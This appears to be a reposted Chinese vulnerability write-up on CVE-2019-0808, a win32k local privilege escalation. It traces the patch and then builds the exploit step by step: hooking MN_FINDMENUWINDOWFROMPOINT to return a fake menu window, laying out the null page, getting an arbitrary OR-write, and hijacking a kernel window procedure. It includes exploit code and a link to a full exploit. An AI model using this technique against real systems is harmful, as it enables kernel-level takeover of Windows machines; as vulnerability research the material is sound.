CVE-2019-0808
Posted dreamoneonly
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CVE-2019-0808相关的知识,希望对你有一定的参考价值。
CVE-2019-0808
漏洞成因及触发
通过搜索资料了解到CVE-2019-0808
的漏洞函数位于win32k!xxxMNFindWindowFromPoint
,为了了解漏洞成因,我们先分析一下补丁是如何修复的。
补丁对比
通过BinDiff对比可以看到在HMValidateHandleNoSecure
后额外添加了一个safe_cast_fnid_to_PMENUWND
函数对返回的tagWND
对象进行校验,而不是仅仅判断tagWND
是否为0。
补丁细节
通过下面代码可以看到在补丁后,首先通过safe_cast_fnid_to_PMENUWND
检查了窗口对象是否为FNID_MENU(fnid = 0x29C)
,如果通过safe_cast_fnid_to_PMENUWND
检查(表明这的确是一个类为#32768
的菜单窗口对象),那么将会对tagWND->cbWndExtra
和其指向的tagPOPUPMENU->spMenu
进行检查,这里对菜单窗口的解释引用一下琦哥的文章? ??
在 Windows 内核中,菜单对象在屏幕中的显示通过窗口
tagWND
对象的特殊类型#32768
(MENUCLASS
) 菜单窗口对象来实现,菜单窗口对象末尾的扩展区域中存储指向关联的弹出菜单tagPOPUPMENU
对象的指针
unsigned int __stdcall safe_cast_fnid_to_PMENUWND(tagWND *a1)
{
unsigned int result; // eax
if ( a1 )
result = (a1->fnid & 0x3FFF) == 0x29C ? (unsigned int)a1 : 0;
else
result = 0;
return result;
}
v7 = (tagWND *)safe_cast_fnid_to_PMENUWND(v6);
if ( !v7 )
return 0;
v8 = (tagPOPUPMENU *)v7[1].head.h;
if ( !v8 || !v8->spmenu )
return 0;
思考
为什么在补丁后对tagWND
做了额外的校验,通过向上观察代码可以发现,这个窗口句柄是通过调用xxxSendMessage
向tagPOPUPMENU->spwndNextPopup
发送MN_FINDMENUWINDOWFROMPOINT
消息后返回的,那么我们是不是可以通过修改tagPOPUPMENU->spwndNextPopup
的窗口处理函数来返回一个伪造的窗口句柄。
- 为什么是给
tagPOPUPMENU->spwndNextPopup
发送消息?- 在IDA中通过交叉引用可以看到漏洞函数
win32k!xxxMNFindWindowFromPoint
是由win32k!xxxMNMouseMove
调用的,而win32k!xxxMNMouseMove
是菜单窗口过程处理函数用来处理鼠标在菜单内移动的消息,如果此时鼠标由主弹出菜单移动到了子弹出菜单,那么在win32k!xxxMNFindWindowFromPoint
内部就会通过xxxSendMessage
对子弹出菜单发送消息来获取子弹出菜单的句柄,用来在后续代码中对子弹出菜单发送消息来完成绘制和鼠标选中等效果。
- 在IDA中通过交叉引用可以看到漏洞函数
-
创建合适的弹出菜单
- 如果我们按照如下的代码创建了一个包含子弹出菜单
hMenuSub
的弹出菜单hMenuRoot
,至于下面为什么要将菜单dwStyle
设置为MNS_DRAGDROP
,我们后面漏洞利用时再展开,设置MNS_MODELESS
是因为模态对话框会导致其他用户界面对象接收不到消息。
HMENU hMenuRoot = CreatePopupMenu(); HMENU hMenuSub = CreatePopupMenu(); MENUINFO mi = { 0 }; mi.cbSize = sizeof(MENUINFO); mi.fMask = MIM_STYLE; mi.dwStyle = MNS_MODELESS | MNS_DRAGDROP; //非模态菜单 SetMenuInfo(hMenuRoot, &mi); SetMenuInfo(hMenuSub, &mi); AppendMenuA(hMenuRoot, MF_BYPOSITION | MF_POPUP, (UINT_PTR)hMenuSub, "Root"); AppendMenuA(hMenuSub, MF_BYPOSITION | MF_POPUP, 0, "Sub");
- 虽然菜单创建完成了,但是并不能显示在桌面上,由下图可以看到
CreatePopupMenu
只是初始化了tagMENU
结构体,但是想要在桌面上显示还需要一个tagWND
窗口对象作为媒介来传递消息,就像上面说的是通过一个类为#32768
的窗口对象来显示菜单,在应用层可以使用TrackPopupMenuEx(已文档化)
来显示。
- 如果我们按照如下的代码创建了一个包含子弹出菜单
? 修改后的代码及运行效果如下:
TrackPopupMenuEx
那么在TrackPopupMenuEx
内部是如何实现对弹出菜单的管理以及我们应该在何地何时劫持MN_FINDMENUWINDOWFROMPOINT
消息并返回伪造的窗口对象呢,接下来我们开始简单分析一下TrackPopupMenuEx
内部实现xxxTrackPopupMenuEx
:
- 在
xxxTrackPopupMenuEx
内部通过xxxCreateWindowEx
为弹出菜单对象创建了一个类型为#32768
的窗口对象,在tagWND
的末尾拓展区域存放了一个tagPOPUPMENU
结构,并对tagPOPUPMENU
进行初始化
- 然后创建了一个
tagMENUSTATE
结构体用来描述弹出菜单的各种状态
menuState = xxxMNAllocMenuState(v23, v22, v17);
- 在最后通过
xxxWindowEvent
向用户层发送EVENT_SYSTEM_MENUPOPUPSTART(0x6)
事件消息通知应用层的事件回调,微软文档介绍如下,在应用层可以通过SetWinEventHook
来注册
EVENT_SYSTEM_MENUPOPUPSTART
(0x0006)A pop-up menu has been displayed. The system sends this event for standard menus, which are identified by HMENU, and are created using menu-template resources or Win32 menu functions. Servers send this event for custom menus, which are user interface elements that function as menus but are not created in the standard way. This event is not sent consistently by the system.
- 通过在
WinDbg
中跟踪发现这里的xxxWindowEvent
并没有立即调用用户回调,而是采用异步的方式放入了消息队列,这里猜测是因在应用层调用TrackPopupMenuEx
时还没有执行到应用层的消息循环,因此在xxxTrackPopupMenuEx
内部发送的一系列创建显示弹出菜单的消息还在消息队列还没有被窗口过程处理,所以xxxWindowEvent
采用的异步的方式等到弹出菜单真正被创建时才调用的用户回调。 - 我们在
Windbg
中观察一下在xxxTrackPopupMenuEx
中完成对tagPOPUPMENU
初始化后的情况,通过下图可以看到xxxTrackPopupMenuEx
已经为hMenuRoot
创建了一个#32768
窗口(spwndPopupMenu
),但是spwndNextPopup
却为空,不知道大家还记得上面在思考这章开头,在win32k!xxxMNFindWindowFromPoint
中调用xxxSendMessage
是给哪个窗口发送的消息,没错就是给spwndNextPopup
窗口,但是这里为什么spwndNextPopup
域却为空呢?其实很简单,我们在桌面右键显示弹出菜单的时候,初始状态由于我们鼠标没有移到含有子弹出菜单的菜单项上(如查看
项),默认是不会显示的。
- 返回伪造窗口的时机
通过上面的分析,我们已经有了一个大概的思路:
- 首先通过
SetWinEventHook
注册EVENT_SYSTEM_MENUPOPUPSTART
类型的事件回调,在xxxTrackPopupMenuEx
内部向消息队列放入弹出菜单创建的事件的消息后,会在TrackPopupMenuEx
执行完后我们的消息循环中进行触发,因此第一次进入我们的事件回调时是hMenuRoot
的绘制完成的时候 - 这时我们在事件回调中给当前菜单窗口句柄(也就是
xxxTrackPopupMenuEx
内部创建的#32768
窗口)发送一个WM_LBUTTONDOWN
消息(这里既是为了创建并显示子弹出菜单也是为了配合后面鼠标移动的消息形成拖拽动作,具体原因在后面利用再详细解释),这时就会触发子弹出菜单的显示(这里要注意给子弹出菜单创建#32768
窗口是在处理WM_LBUTTONDOWN
消息的过程中,而不是在xxxTrackPopupMenuEx
中) - 由于子弹出菜单的创建,因此会第二次进入到我们的事件回调,这时我们向子弹出菜单发送一个
WM_MOUSEMOVE
消息,此时会形成一个从root
向sub
的拖拽动作,具体代码具体为如下:
- 如果我们在漏洞函数
win32k!xxxMNFindWindowFromPoint
下过断点,在发送WM_MOUSEMOVE
后就会断下,此时堆栈如下:
1: kd> k
# ChildEBP RetAddr
00 95a6ba28 8364943c win32k!xxxMNFindWindowFromPoint
01 95a6ba64 83649066 win32k!xxxMNMouseMove+0x4d
02 95a6bac0 8367e233 win32k!xxxHandleMenuMessages+0x2ed
03 95a6bafc 8364e4a4 win32k!xxxCallHandleMenuMessages+0x8d
04 95a6bb54 835c94f3 win32k!xxxMenuWindowProc+0x125
05 95a6bb94 83589709 win32k!xxxSendMessageTimeout+0x1ac
06 95a6bbbc 83596330 win32k!xxxWrapSendMessage+0x1c
07 95a6bbd8 835cb4cd win32k!NtUserfnNCDESTROY+0x27
08 95a6bc10 83e541ea win32k!NtUserMessageCall+0xc9
09 95a6bc10 77c970b4 nt!KiFastCallEntry+0x12a
0a 004cfa84 760b4f51 ntdll!KiFastSystemCallRet
0b 004cfa88 760b0940 USER32!NtUserMessageCall+0xc
0c 004cfac4 760b5582 USER32!SendMessageWorker+0x546
0d 004cfae4 000cfbec USER32!SendMessageW+0x7c
- 我当时分析时立马产生了一个想法,我们是不是可以就在这次进入漏洞函数
win32k!xxxMNFindWindowFromPoint
时返回伪造的窗口句柄呢,马上测试,我们首先在应用层通过SetWindowsHookEx
注册一个窗口过程回调(WH_CALLWNDPROC
),在回调中我们判断是否为MN_FINDMENUWINDOWFROMPOINT
消息,如果是则通过SetWindowLongPtr
替换子菜单窗口的窗口过程,并在我们的窗口过程中返回事先已经创建好的伪造#32768
窗口,具体代码如下:
//////////////////////////////////////////////////////////////////////////////////
//
// SetWindowsHookEx‘s handler
//
LRESULT CALLBACK CallWndProc(
_In_ int nCode,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
PCWPSTRUCT msg = (PCWPSTRUCT)lParam;
//__debugbreak();
if (msg->message == MN_FINDMENUWINDOWFROMPOINT)
{
cout << "msg: 0x" << hex << msg->message;
cout << " hwnd: 0x" << hex << msg->hwnd;
auto hwnd_kernel = p_leak.GetUserObjectAddressBygSharedInfo(msg->hwnd, NULL);
cout << " hwnd_kernel: 0x" << hex << hwnd_kernel << endl;
SetWindowLongPtr(msg->hwnd, GWLP_WNDPROC, (ULONG_PTR)FakeWindowProc);
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
//////////////////////////////////////////////////////////////////////////////////
//
// FakeWindowsProcedure for hMenuSub‘s tagMenuWnd
//
LRESULT CALLBACK FakeWindowProc(
_In_ HWND hwnd,
_In_ UINT uMsg,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
if (uMsg == MN_FINDMENUWINDOWFROMPOINT)
{
SetWindowLongPtr(hwnd, GWLP_WNDPROC, (ULONG_PTR)DefWindowProc);
return (LRESULT)g_fakeWnd;
}
return DefWindowProc(hwnd, uMsg, wParam, lParam);
}
- 在
WinDbg
中观察xxxSendMessage
发送MN_FINDMENUWINDOWFROMPOINT
消息后返回的窗口句柄,从下图可以看到已经被替换为我们创建的伪造窗口句柄,那我们是不是已经触发漏洞了的,但其实只能说触发了一半,为啥呢?
- 虽然我们已经成功替换了菜单窗口,并由
xxxMNFindWindowFromPoint
返回给上层函数xxxMNMouseMove
,但在xxxMNMouseMove
中检查了tagMENUSTATE
的fInDoDragDrop
标志位是否置位,才会进入xxxMNUpdateDraggingInfo
函数,只有xxxMNUpdateDraggingInfo
这个函数里面才使用了xxxMNFindWindowFromPoint
返回的tagWND->tagPOPUPMENU->spMenu
域,而这个spMenu
在我们自己创建的#32768
窗口中是没有初始化的,也就是为0,在Win7中我们是可以通过申请零地址页面来控制这块数据的,因此现在的关键就是要在xxxMNFindWindowFromPoint
之后进入xxxMNUpdateDraggingInfo
函数,也就等价于要将fInDoDragDrop
置位。
- 通过网上公开的分析资料了解到可以通过手动调用
NtUserMNDragOver
将tagMENUSTATE
中的fInDoDragDrop
置位并进入xxxMNMouseMove
函数,所以上面我的猜想(在第二次触发事件回调时发送WM_MOUSEMOVE
消息并返回伪造的窗口句柄)虽然可以成功在xxxSendMessage
后返回伪造的窗口句柄,但并不会进入xxxMNUpdateDraggingInfo
函数因而无法进行利用。
- 因此我们需要定义一个全局变量来控制我们该何时在窗口过程回调中替换子菜单窗口的窗口过程,因为在第二次事件回调中由于我们发送了
WM_MOUSEMOVE
,所以会触发xxxSendMessage
来发送MN_FINDMENUWINDOWFROMPOINT
消息(上面已经贴出了处理WM_MOUSEMOVE
消息的调用堆栈),这会被我们的窗口过程回调所捕获,因此我们需要这个全局变量来控制第一次进入窗口过程回调时不采取任何动作,而是在我们手动调用NtUserMNDragOver
后进入xxxMNMouseMove->xxxMNFindWindowFromPoint->xxxSendMessage
时替换子菜单窗口的窗口过程,因此我们的窗口过程回调需要稍作修改,并在手动调用NtUserMNDragOver
前将全局变量bOnDrag
置1:
//////////////////////////////////////////////////////////////////////////////////
//
// SetWindowsHookEx‘s handler
//
LRESULT CALLBACK CallWndProc(
_In_ int nCode,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
PCWPSTRUCT msg = (PCWPSTRUCT)lParam;
//__debugbreak();
if (msg->message == MN_FINDMENUWINDOWFROMPOINT && bOnDrag)
{
cout << "msg: 0x" << hex << msg->message;
cout << " hwnd: 0x" << hex << msg->hwnd;
auto hwnd_kernel = p_leak.GetUserObjectAddressBygSharedInfo(msg->hwnd, NULL);
cout << " hwnd_kernel: 0x" << hex << hwnd_kernel << endl;
SetWindowLongPtr(msg->hwnd, GWLP_WNDPROC, (ULONG_PTR)FakeWindowProc);
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
MSG msg = { 0 };
while (GetMessage(&msg,NULL,NULL,NULL))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
if (g_MenuCreate == 2)
{
bOnDrag = true;
POINT pt;
char buf[100];
pt.x = 2;
pt.y = 2;
//__debugbreak();
NtUserMNDragOver(&pt, buf);
g_MenuCreate++;
break;
}
}
32位利用
经过上面分析和修改相应代码后,我们在xxxMNUpdateDraggingInfo
中下断就已经可以断下了,我们先来分析一下32位上的利用,x64上大同小异,只有在绕过比较时会有少许不同,我们后面再讲。
对xxxMNUpdateDraggingInfo
进行简单的静态分析可以发现,我们需要解决的问题主要有以下几个,我们接下来一个一个解决。
第一个问题
首先第一个问题是我们在调用MNGetpItem
时,我们如何知道它的第二个参数v3->uDraggingIndex
的值,并且如何确保MNGetpItem
的返回值v8
不为零并且为我们想要任意写的地址减4,这本来是第6个问题的,先提前在这里讲一下,在xxxMNSetGapState
中也调用了MNGetpItem
,并且如果v3->uDraggingFlags = 2
(第5个问题)时,会对MNGetpItem的
(返回值+4)进行一个或上0x40000000
的操作,因此我们在第6个步骤中获得了一个任意地址或上0x40000000
的能力,这个可以进一步转化为越界写,后面再细讲,我们先分析一下MNGetpItem
的内部实现:
由于我们在xxxMNFindWindowFromPoint->xxxSendMessage
返回了一个伪造的未经初始化的菜单窗口对象,其窗口拓展区域存储的tagPOPUPMENU
对象也是未经初始化的,即tagPOPUPMENU->spmenu
成员 为0,因此我们可以在应用层通过ZwAllcoateVirtualMemory
申请0地址页面,从而就可以控制上面MNGetpItem
中的执行逻辑,在上面我们提到了我们要使MNGetpItem
返回不为0并且为我们想要任意写的地址减4的值,因此我们就需要在地址0x20的位置设置一个大于uDraggingIndex
的值,那么uDraggingIndex
又等于多少,我们能在应用层知道吗,通过向上回溯,发现uDraggingIndex
是在xxxMNFindWindowFromPoint->xxxSendMessage
作为第三个参数传入的,因此我们可以在应用层FakeWindowProc
窗口回调中得到uDraggingIndex
的值,并且设置零地址页面数据的操作也要在此进行,因为只有在这里我们才能确定uDraggingIndex
的值,才能准确计算任意写的地址,FakeWindowProc
代码如下:
//////////////////////////////////////////////////////////////////////////////////
//
// FakeWindowsProcedure for hMenuSub‘s tagMenuWnd
//
LRESULT CALLBACK FakeWindowProc(
_In_ HWND hwnd,
_In_ UINT uMsg,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
if (uMsg == MN_FINDMENUWINDOWFROMPOINT)
{
SetWindowLongPtr(hwnd, GWLP_WNDPROC, (ULONG_PTR)DefWindowProc);
cout << "wParam:0x" << hex << *(PULONG)wParam << endl;
g_uDraggingIndex = *(PULONG)wParam ;
SetNullPageData();
return (LRESULT)g_fakeWnd;
}
return DefWindowProc(hwnd, uMsg, wParam, lParam);
}
再回来继续观察MNGetpItem
的代码,现在我们能够准确得到uDraggingIndex
的值了,因此我们只需要将地址0x20的值设置为大于uDraggingIndex
就可以绕过if
判断,但是为什么我要设置为uDraggingIndex + 1
呢,具体原因在第6个问题里面再讲,可以看到MNGetpItem
最终的返回值计算方式为result = (tagITEM *)(*(_DWORD *)(NullPage + 0x34) + 0x6C * uDraggingIndex)
,因此地址0x34的位置的值(即下图的offset1)要为我们想任意写地址减去0x6C * uDraggingIndex
再减去4,在下图可以看到offset1 = g_primaryWnd - g_uDraggingIndex * 0x6C + 0x90 -0x4;
即想任意写的地址为g_primaryWnd + 0x90
,即为tagWND->cbWndExtra
,讲到这里大家可能已经明白了,我们是想通过修改tagWND->cbWndExtra
来通过SetWindowLongPtr
来进行越界写,因此在最初我就创建了0x100个窗口,并取了最后两个窗口作为操作对象。
第四个问题
由于第一个问题解决后,因此MNGetpItem
返回值是大于零的,第二个问题解决,
第三个问题是要保证v8+20
表示的地址能够正确访问,由于v8 = g_primaryWnd + 0x90 -0x4
的(见上面对offset1的计算),而由于通过SparyWindow
函数进行了连续申请,因此g_secondWnd
与g_primaryWnd
是紧紧相邻的,因此v8+20
地址处肯定是可以访问的,第三个问题解决,
这里来到最重要的第四个问题,简单的来说就是我们要使地址addr1 = 0x6C * *(0x4C) + *(0x34) + 0x28
可以访问(后面简称addr1),并且要使v10
的值大于后面两个if
判断中的值(即第5个问题)才能使到达v3->uDraggingFlags = 2;
,为什么要使uDraggingFlags = 2
上面已经讲过了,因此我这里产生了一个想法,如果我能够使addr1通过整数溢出重定位到0地址附近是不是就可以由我们控制了呢?
现在我们来简化一下addr1
的算式,由于*(0x34) = offset1
(见下图),因此addr1 = 0x6C * offset2 + offset1 + 0x28
,如果我们想把addr1重定位为0x28
地址只需offset2 = (0 - offset1)/0x6C
(offset1是已知的),但是这里可能会出现一种情况,就是(0 - offset1)/0x6C
无法除尽,有余数,这样的话addr1最后计算出来就有可能在[-0x44,0x28]
之间浮动,如果addr1落在了[-0x44,0)
这个区间,这个地址肯定是不可读的,因此肯定会蓝屏,因此如下图所示offset2 = (0 - offset1)/0x6C+2
,对offset2
额外进行了+2
,因此落入的区间肯定是在0地址往后,至于为什么不是+1
,其实我一开始是+1
的,后面发现+1
的addr1可能落在区间[0x28,0x94)
,因此有一定几率覆盖offset1
,从而导致在第三个问题那里发生访问异常。offset2确定后,addr1的位置就可以计算了,算式如下图*(PULONG_PTR)(NullPage + 0x28 + (2 * 0x6C - offset2_remainder)) = 0x7ffffffe
,即减去(0 - offset1)/0x6C
的余数即可,至于为什么设置为0x7ffffffe
,是因为第5个问题那里是进行的有符号数比较,那为什么不是0x7fffffff
?,你设置为0x7fffffff
调试一下就知道了? ??
第六个问题
在四个问题中我们同时解决了第五个问题,现在我们来看一下最后一个问题即xxxMNSetGapState
,在上面可以看到总共调用了两次xxxMNSetGapState
,由于第一次参数fSet = 0
,不会触发与操作(见下图),因此我们主要关注第二次xxxMNSetGapState
调用,由于上面我们已经解决了第五个问题,uDraggingFlags = 2 | 4 = 6
,因此最终会走到下图红框处*(v6 + 4) |= 0x40000000u,v6
是MNGetpItem
的返回值,我们已经通过计算使其等于待写地址减4,因此*(v6 + 4) |= 0x40000000u将会导致一次任意地址或上0x40000000
的操作,上面我说过我们将地址0x20处设置为g_uDraggingIndex + 1
,这里就可以解释了,因为设置为g_uDraggingIndex + 1
可以在xxxMNSetGapState
中第一次调用MNGetpItem
时可以返回非0值,第二次返回0(见上面对MNGetpItem
的分析),至于为什么要第二次返回为0,是因为不想执行下图的v8->fState |= 0x80000000
,因为这有可能破坏待写地址+0x6C
的值,当然不一定会蓝屏,但总归有一定风险。
解决上面所有问题后,我们在WinDbg
中观察一下g_primaryWnd ->cbWndExtra
字段
利用
现在我们已经修改g_primaryWnd ->cbWndExtra
字段后,问题就很简单了,我们可以通过SetWindowLongPtr
来越界修改g_secondWnd
的lpfnWndProc
字段,因为g_secondWnd
的bServerSideWindowProc
是置一的,其默认窗口过程为win32k!xxxDefWindowProc
,即是运行在内核态的,因此我们就可以在修改g_secondWnd
的lpfnWndProc
字段后,随即向g_secondWnd
发送一个消息触发其窗口过程,然后我们在窗口过程中完成提权操作。
提权演示如下
64位利用
64位利用除了在零地址页面布局有些许不同,其他的利用步骤基本一致,只需改一下某些偏移并将ShellCode在单独的asm
文件实现
这里主要讲一下在零地址布局遇到的问题,在32位利用时我提到了将addr1重定位到零地址附近,但是这在64位上却不行了,经过分析发现原因如下,offset2
只取了低32位,而在64中由于offset1在内核地址过大,在除以0x90后得到的offset2
是超过32位的,因此在下图只取了低32位是无法重定位到0地址附近的,因为重定位到0地址附近是依靠整数溢出的。
因此我换了一种思路,虽然无法重定位0地址附近,但是我们可以控制其位于内核固定的某个位置0x90
附近浮动,所以我改了一下32位利用时的SparyWindow
函数,在最后加上了一个窗口拓展区域大小为0x90
的窗口(如下图),因此这个窗口g_prepareToRead
地址肯定是在g_secondWnd
之后并且紧挨着或者相隔不远,因此我在零地址布局时通过SetWindowLongPtr
将其窗口拓展区域全部设置为0x7777777777777777
,因为是有符号比较并且不想计算具体会位于窗口拓展的哪个位置,干脆就全部设置为7算了,免的设置为大于7的万一命中后成负数了。其他的基本和32位利用一致
提权演示如下
参考
https://xiaodaozhi.com/exploit/122.html
https://github.com/ze0r/cve-2019-0808-poc
http://blog.exodusintel.com/2019/05/17/windows-within-windows/
写在最后
想把分析时所有的想法和思路跃然纸上真的是一个技术活,甚至比分析本身更难? ??
利用代码:https://github.com/DreamoneOnly/CVE-2019-0808-32-64-exp
以上是关于CVE-2019-0808的主要内容,如果未能解决你的问题,请参考以下文章